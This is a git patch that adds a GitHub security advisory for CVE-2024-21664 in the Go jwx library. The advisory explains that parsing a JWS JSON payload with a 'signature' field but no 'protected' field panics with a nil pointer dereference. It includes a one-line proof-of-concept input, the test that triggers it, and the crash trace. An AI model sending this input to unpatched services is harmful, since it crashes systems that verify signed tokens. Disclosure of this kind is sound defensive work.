From b8742741de99c8a3ba0c60b1e57e2c1a5d8c129f Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Tue, 9 Jan 2024 16:20:08 +0000 Subject: [PATCH] Publish GHSA-pvcr-v8j8-j5q3 --- .../GHSA-pvcr-v8j8-j5q3.json | 68 +++++++++++++++++++ 1 file changed, 68 insertions(+) create mode 100644 advisories/github-reviewed/2024/01/GHSA-pvcr-v8j8-j5q3/GHSA-pvcr-v8j8-j5q3.json diff --git a/advisories/github-reviewed/2024/01/GHSA-pvcr-v8j8-j5q3/GHSA-pvcr-v8j8-j5q3.json b/advisories/github-reviewed/2024/01/GHSA-pvcr-v8j8-j5q3/GHSA-pvcr-v8j8-j5q3.json new file mode 100644 index 00000000000..86b288c0d59 --- /dev/null +++ b/advisories/github-reviewed/2024/01/GHSA-pvcr-v8j8-j5q3/GHSA-pvcr-v8j8-j5q3.json @@ -0,0 +1,68 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-pvcr-v8j8-j5q3", + "modified": "2024-01-09T16:18:48Z", + "published": "2024-01-09T16:18:48Z", + "aliases": [ + "CVE-2024-21664" + ], + "summary": "Parsing JSON serialized payload without protected field can lead to segfault", + "details": "### Summary\n\nCalling `jws.Parse` with a JSON serialized payload where the `signature` field is present while `protected` is absent can lead to a nil pointer dereference.\n\n### Details\n\nThis seems to also affect other functions that calls `Parse` internally, like `jws.Verify`.\n\nMy understanding of these functions from the docs is that they are supposed to fail gracefully on invalid input and don't require any prior validation.\n\nBased on the stack trace in the PoC, the issue seems to be that the processing done in `jws/message.go:UnmarshalJSON()` assumes that if a `signature` field is present, then a `protected` field is also present. If this is not the case, then the subsequent call to `getB64Value(sig.protected)` will dereference `sig.protected`, which is `nil`.\n\n### PoC\n\nReproducer:\n\n```go\npackage poc\n\nimport (\n \"testing\"\n\n \"github.com/lestrrat-go/jwx/v2/jws\"\n)\n\nfunc TestPOC(t *testing.T) {\n _, _ = jws.Parse([]byte(`{\"signature\": \"\"}`))\n}\n```\n\nResult:\n\n```\n$ go test \n--- FAIL: TestPOC (0.00s)\npanic: runtime error: invalid memory address or nil pointer dereference [recovered]\n panic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x40 pc=0x5fd618]\n\ngoroutine 6 [running]:\ntesting.tRunner.func1.2({0x628800, 0x831030})\n /usr/local/go/src/testing/testing.go:1545 +0x238\ntesting.tRunner.func1()\n /usr/local/go/src/testing/testing.go:1548 +0x397\npanic({0x628800?, 0x831030?})\n /usr/local/go/src/runtime/panic.go:914 +0x21f\ngithub.com/lestrrat-go/jwx/v2/jws.getB64Value({0x0?, 0x0?})\n /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/jws.go:484 +0x18\ngithub.com/lestrrat-go/jwx/v2/jws.(*Message).UnmarshalJSON(0xc0000a2140, {0xc0000ec000, 0x11, 0x200})\n /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/message.go:323 +0x4ad\nencoding/json.(*decodeState).object(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0x16?})\n /usr/local/go/src/encoding/json/decode.go:604 +0x6cc\nencoding/json.(*decodeState).value(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0xc00006e630?})\n /usr/local/go/src/encoding/json/decode.go:374 +0x3e\nencoding/json.(*decodeState).unmarshal(0xc0000ea028, {0x64fa60?, 0xc0000a2140?})\n /usr/local/go/src/encoding/json/decode.go:181 +0x133\nencoding/json.(*Decoder).Decode(0xc0000ea000, {0x64fa60, 0xc0000a2140})\n /usr/local/go/src/encoding/json/stream.go:73 +0x179\ngithub.com/lestrrat-go/jwx/v2/internal/json.Unmarshal({0xc00001a288, 0x11, 0x11}, {0x64fa60, 0xc0000a2140})\n /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/internal/json/json.go:26 +0x97\ngithub.com/lestrrat-go/jwx/v2/jws.parseJSON({0xc00001a288, 0x11, 0x11})\n /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/jws.go:588 +0x50\ngithub.com/lestrrat-go/jwx/v2/jws.Parse({0xc00001a288, 0x11, 0x11}, {0x0?, 0xc00006e760?, 0x48450f?})\n /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/jws.go:525 +0x89\npoc.TestPOC(0x0?)\n /home/fredrik/src/jwx_poc/poc_test.go:10 +0x57\ntesting.tRunner(0xc0000e4340, 0x68ef30)\n /usr/local/go/src/testing/testing.go:1595 +0xff\ncreated by testing.(*T).Run in goroutine 1\n /usr/local/go/src/testing/testing.go:1648 +0x3ad\nexit status 2\nFAIL poc 0.005s\n```\n\n### Impact\n\nThe vulnerability can be used to crash / DOS a system doing JWS verification.\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/lestrrat-go/jwx/v2/jws" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.0.19" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 2.0.18" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/lestrrat-go/jwx/security/advisories/GHSA-pvcr-v8j8-j5q3" + }, + { + "type": "WEB", + "url": "https://github.com/lestrrat-go/jwx/commit/0e8802ce6842625845d651456493e7c87625601f" + }, + { + "type": "WEB", + "url": "https://github.com/lestrrat-go/jwx/commit/d69a721931a5c48b9850a42404f18e143704adcd" + }, + { + "type": "PACKAGE", + "url": "https://github.com/lestrrat-go/jwx" + } + ], + "database_specific": { + "cwe_ids": [ + + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-01-09T16:18:48Z", + "nvd_published_at": null + } +} \ No newline at end of file